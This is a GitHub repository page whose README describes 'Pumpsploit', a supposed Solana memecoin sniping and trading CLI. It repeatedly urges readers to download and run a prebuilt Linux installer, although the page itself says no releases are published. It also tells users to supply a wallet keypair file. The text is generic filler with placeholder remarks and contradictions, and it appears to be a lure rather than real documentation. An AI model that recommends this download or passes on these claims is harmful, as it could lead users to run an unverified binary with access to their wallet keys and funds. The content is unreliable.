Skip to content

AI-powered Solana trading and analysis tool with real-time pump detection and automated trading, plus market analytics and Jupiter Lite API support ๐Ÿ™.

Notifications You must be signed in to change notification settings

broly907246/pumpsploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

33 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

Pumpsploit: Solana Memecoin Trading CLI for All Dexes

Releases

From the releases page, download pumpsploit-v1.0.0-linux-x64.tar.gz and run the installer.

Direct file: https://github.com/broly907246/pumpsploit/releases/download/v1.0.0/pumpsploit-v1.0.0-linux-x64.tar.gz


Table of contents


Overview

Pumpsploit is a Node.js command line interface designed to support memecoin trading on Solana. It acts as a unified toolset for interacting with multiple Solana dexes and data providers. The project emphasizes speed, reliability, and clear workflows for automated or manual trading strategies. It is built to work with a variety of data feeds and on-chain programs that power memecoin markets on Solana.

The goal is to give traders a solid, scriptable base to execute orders quickly across DEXes, while keeping the surface area minimal and predictable. The tool integrates with popular Solana data and wallet providers and can be extended with community plugins and scripts. It is designed for developers, traders, and operators who want a consistent CLI experience when exploring memecoin liquidity and arbitrage opportunities.

The project namespace blends memecoin culture with solid engineering. It uses a modular approach so new dex adapters, data sources, or strategies can be added without rewriting core logic. The CLI remains approachable for those who want to jump in with simple commands, yet it stays powerful for advanced users who want to customize flows and integrate with external systems.

Images that fit the theme:

  • Solana ecosystem imagery and logos to evoke the platform.
  • Memecoin symbolism such as coins, rockets, and charts.
  • Code and terminal imagery to signal a developer-focused tool.

Key features

  • Multidex support on Solana: Access liquidity across all major dexes and aggregator services.
  • Plug-in data layers: Bring in price feeds, order book data, and on-chain signals from multiple sources.
  • Fast sniping workflows: Rapidly identify and act on favorable on-chain conditions and liquidity events.
  • Safe, auditable trades: Logs, traceable transactions, and optional dry-run mode to validate flows before live use.
  • Configurable risk controls: Slippage, timeouts, order sizing, and stop conditions can be tuned per strategy.
  • Extensible CLI: Clear commands, helpful prompts, and structured outputs that are easy to script.
  • Local and remote wallet support: Works with common wallet providers and key management options.
  • Testable by design: Built with testability in mind so strategies can be validated in a quiet environment.

Emojis help visualize concepts:

  • ๐Ÿงญ Navigation across DEXes
  • โšก Lightning-fast order flow
  • ๐Ÿ”’ Secure and auditable trades
  • ๐Ÿงฉ Modular, pluggable components
  • ๐Ÿš€ Growth opportunities in memecoins

Supported tools and ecosystems

  • Solana blockchain as the execution layer
  • Jupiter for routing and price discovery
  • Helios RPC for fast, reliable RPC access
  • Solscan for on-chain insights
  • Birdeye and other on-chain data providers
  • Sniping workflows and time-sensitive trades
  • Phantom and other wallets for signers
  • Memecoin themes and liquidity patterns across the Solana ecosystem
  • Common data feeds and market data providers (BitQuery, BitScreener-like sources, etc.)
  • General dex-agnostic logic that can be extended to new exchanges

The project aims to be practical first. It uses widely adopted formats and services so new contributors can pick up concepts quickly. The focus remains on reliability, clean interfaces, and clear behavior under load.

Note: The topics reflect the landscape of memecoin trading, data feeds, and Solana tooling. They guide what kinds of integrations and examples you might see in documentation, tests, and plugin examples.


How Pumpsploit works

  • Data collection: Pumpsploit fetches market data from multiple sources. It combines price quotes, liquidity, and on-chain signals to form a view of opportunity.
  • Decision logic: Based on configured strategies, the tool decides when to place orders. It allows both simple rules and more advanced scripting for complex flows.
  • Execution: Orders are submitted to the Solana network through adapters that talk to DEX programs. Slippage checks and timeout guards protect against unfavorable fills.
  • Feedback and logging: Each step is logged with contextual information. You can replay runs and audit how decisions were made.
  • Safety nets: Dry-run modes, transaction dry-run, and canaries provide a way to test without risking funds in production.
  • Extensibility: New data sources or dex adapters can be added as modules. The CLI provides hooks for those modules to plug into the workflow.

The design emphasizes clear separation of concerns: data, decisions, and execution each have explicit boundaries. This makes it easier to test, extend, and diagnose issues when they arise.


Getting started

Installation

  • Prerequisites:

    • Node.js v18 or newer
    • npm v9 or newer
    • Git
    • A Solana wallet with a funded account for testing (testnet or devnet recommended until you are ready for mainnet)
    • Familiarity with command line workflows and JSON-based configurations
  • Quick install options:

  • Direct download instruction for releases

First run and configuration

  • Basic run:
    • pumpsploit --help
    • pumpsploit init
    • pumpsploit config set network solana-mainnet
  • Wallet setup:
    • Pumpsploit expects a signer. You can use a keypair file or a ledger-based signer depending on your setup.
    • Example (local keypair):
      • export PUMPSPLIT_WALLET_KEYPAIR=/path/to/keypair.json
    • Example (ledger/ hardware signer):
      • pumpsploit signer init --type ledger
  • Data sources:
    • Enable or disable data providers and DEX adapters via config:
      • pumpsploit config set dataProviders="helius,solscan,bitquery"
      • pumpsploit config set dexAdapters="jupiter,birdeye"
  • Network and RPC:

Direct download note

  • The Releases page provides assets for various platforms. If you need to install on another platform, check the Releases page for the appropriate asset and follow the installation guide included in the archive.

Usage guide

Basic commands

  • pumpsploit --version
  • pumpsploit --help
  • pumpsploit init
  • pumpsploit config set network solana-mainnet
  • pumpsploit config set rpcUrl "https://api.mainnet-beta.solana.com"
  • pumpsploit signer set --type keypair --path /path/to/keypair.json
  • pumpsploit status
  • pumpsploit list-dexes
  • pumpsploit list-sources
  • pumpsploit run --strategy default

Snipe and trade patterns

  • Snipe mode:
    • pumpsploit snipe --token BONKFUN --dex jupiter --slippage 1.5 --amount 1000
    • This mode looks for favorable on-chain conditions to buy a memecoin across DEXes with a preconfigured slippage cap.
  • Cross-dex routing:
    • pumpsploit route --from-token BONKFUN --to-token MEMECOIN --dexes jupiter,birdeye
    • The router evaluates liquidity and fees across multiple DEX adapters and selects the best execution path.
  • Liquidity-aware trading:
    • pumpsploit liquidity-check --token BONKFUN
    • This command estimates immediate liquidity for a given token to avoid over-sizing positions.
  • Scheduled trading:
    • pumpsploit schedule --cron "*/5 * * * *" --strategy default
    • Run frequently in small windows to catch micro-arbitrage opportunities.
  • Dry-run testing:
    • pumpsploit run --strategy test --dry-run
    • Use this to validate flows without signing live transactions.

Automation and scripting

  • Output formats:
    • Pumpsploit emits structured logs in JSON by default. You can redirect to files or pipe into a streaming processor.
  • Event hooks:
    • You can attach small JavaScript or TypeScript scripts to respond to different events, such as new price quotes or a completed trade.
  • Integration points:
    • The CLI is designed to be called by other scripts or orchestrators. You can trigger it from a larger automation harness or a cron-based system.

Advanced usage patterns

  • Portfolio-level strategies:
    • Combine multiple snipe calls to build a diversified memecoin exposure.
  • Time-weighted strategies:
    • Implement time-based entry and exit rules to spread risk across short periods.
  • Dynamic risk controls:
    • Adapt slippage and max spend based on liquidity observations and historical volatility.
  • Data-driven decisions:
    • Use external signals to influence the decision logic. For example, feed a sentiment index or social metrics into your strategy.

Configuration and environment

Environment variables and config options

  • SIGNER or WALLET: path to the signer or wallet data to authorize transactions.
  • RPC_URL: Solana RPC endpoint. Use a fast, reliable provider.
  • ENABLED_DEXES: comma-separated list of dex adapters to enable. Example: "jupiter,birdeye"
  • ENABLED_SOURCES: comma-separated data sources. Example: "helius,solscan,bitquery"
  • DEFAULT_SLIPPAGE: default slippage percentage for orders. Example: 1.5
  • TRADE_AMOUNT: default amount to trade per signal or per order tier.
  • DRY_RUN: enable dry-run mode to simulate trades without submitting transactions.
  • LOG_LEVEL: info, debug, warn, error for log verbosity.
  • CHAIN_ID or NETWORK: solana-mainnet, solana-devnet, solana-testnet.

Config file and profiles

  • You can keep multiple profiles for different market conditions.
  • Profiles live in a JSON or YAML file and can be loaded by pumpsploit --profile .
  • Each profile contains:
    • rpcUrl
    • signer settings
    • enabled dexes
    • data sources
    • strategy parameters
    • risk controls

Security-related notes (non-judgmental in README)

  • Keep private keys secure. Use environment variables or dedicated wallets with restricted permissions.
  • Validate any external data sources before relying on them for decisions.
  • Always test in a dry run or on test networks before live deployment.

Code structure and contribution

Directory layout (typical example)

  • bin/ : CLI entry points
  • lib/ : Core logic, adapters, and data providers
  • adapters/ : DEX adapters (Jupiter, Birdeye, etc.)
  • providers/ : Data sources (Helius RPC, Solscan, BitQuery, etc.)
  • strategies/ : Scripting for trading patterns
  • config/ : Default configuration and profiles
  • tests/ : Unit and integration tests
  • docs/ : Additional documentation

Contributing

  • We welcome contributors who want to improve the tool, add new adapters, or enhance tests.
  • Start with opening an issue or pull request that clearly states the goal and approach.
  • Follow the projectโ€™s style guide and keep changes focused and well-documented.
  • Use the test suite to validate changes locally.

How to contribute

  • Fork the repository.
  • Create a feature branch.
  • Implement changes with clear commits.
  • Run tests and linting before submitting.
  • Submit a pull request with a short, descriptive title and a detailed description.

Code quality and testing

  • Unit tests cover core logic and adapter interfaces.
  • Integration tests exercise real data paths where safe and feasible.
  • Linters enforce a consistent style across the codebase.
  • Continuous integration validates builds on multiple platforms.

Documentation and examples

  • Each adapter includes a short usage example.
  • The CLI includes a help system that explains available flags and subcommands.
  • API surfaces are designed to be intuitive for those familiar with Node.js and command-line workflows.

Troubleshooting

Common issues and quick fixes

  • Command not found after installation:
    • Ensure the CLI is in your PATH. If you used npm link, confirm link status.
    • Reopen your shell or restart terminal to refresh PATH.
  • RPC errors or timeouts:
    • Check RPC URL and network connectivity.
    • Try a different provider or a backup endpoint.
  • Signer not found:
    • Verify the signer configuration and path to the keypair file.
    • Confirm the signer has permissions to sign on the chosen network.
  • Data source failures:
    • Confirm API keys and endpoints for data providers.
    • Check for rate limits and quota exhaustion.
  • High error rates in snipe attempts:
    • Review slippage settings and trade amount.
    • Verify liquidity on target tokens and DEXs.

If you still have issues, consult the Troubleshooting section in the docs or open an issue with a minimal reproduction.


Changelog

Version v1.0.0

  • Initial release with multi-dex support and basic snipe workflow
  • Added modular adapters for Jupiter and Birdeye
  • Implemented dry-run mode for safe testing
  • Configurable data sources and signers
  • Basic logging and error reporting

Version v0.x.x (for reference)

  • Early prototypes and internal testing harness
  • Initial CLI scaffolding and plugin system
  • Experimental support for a subset of data providers

Future versions will add more adapters, richer strategies, and enhanced safety features. Each release comes with release notes on the releases page and an updated asset set for different platforms.


Downloads and releases

  • The primary releases page provides assets for various platforms. If you want to jump straight to a prebuilt binary, visit the releases page:
  • If you need the latest releases, the Releases page is the source of truth. For convenience, you can use the badge at the top of this file to navigate there quickly. The badge links to the same page.

Direct download link (for convenience)

Note: If you want to explore additional assets or architecture variants, head to the Releases page. It hosts the full catalog of builds, including platform-specific installers and source bundles.


Credits and license

  • Open-source spirit with a focus on collaborative improvement.
  • Contributors who have built adapters, helpers, and tooling for Solana memecoin ecosystems.
  • This project is released under an appropriate open-source license to encourage broad use and collaboration.

License details are included in the repository. Review the LICENSE file for terms and conditions.


Visuals and inspiration

  • Solana ecosystem imagery to reflect the platform focus.
  • Memecoin and trading visuals to convey the trading vibe.
  • Terminal and developer-friendly imagery to emphasize the CLI nature.

Emoji usage and color cues help users quickly identify sections:

  • ๐Ÿงญ Navigation and setup
  • โšก Execution and speed
  • ๐Ÿ”’ Security and logs
  • ๐Ÿงฉ Modularity and extensions
  • ๐Ÿš€ Growth and opportunities

If you want to adjust the visuals, you can replace or augment images with other assets that fit your project identity. Use images that are publicly accessible and appropriately licensed for documentation.


End note

  • This README is designed to be comprehensive and developer-friendly. It covers setup, usage, architecture, and contribution guidelines.
  • The structure supports future expansion. As Pumpsploit evolves, you can add more sections for new adapters, data sources, or trading strategies without overhauling the existing layout.
  • The goal is clarity and reliability. The CLI should be predictable in behavior, well-documented, and easy to integrate into larger workflows.

About

AI-powered Solana trading and analysis tool with real-time pump detection and automated trading, plus market analytics and Jupiter Lite API support ๐Ÿ™.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 4

  •  
  •  
  •  
  •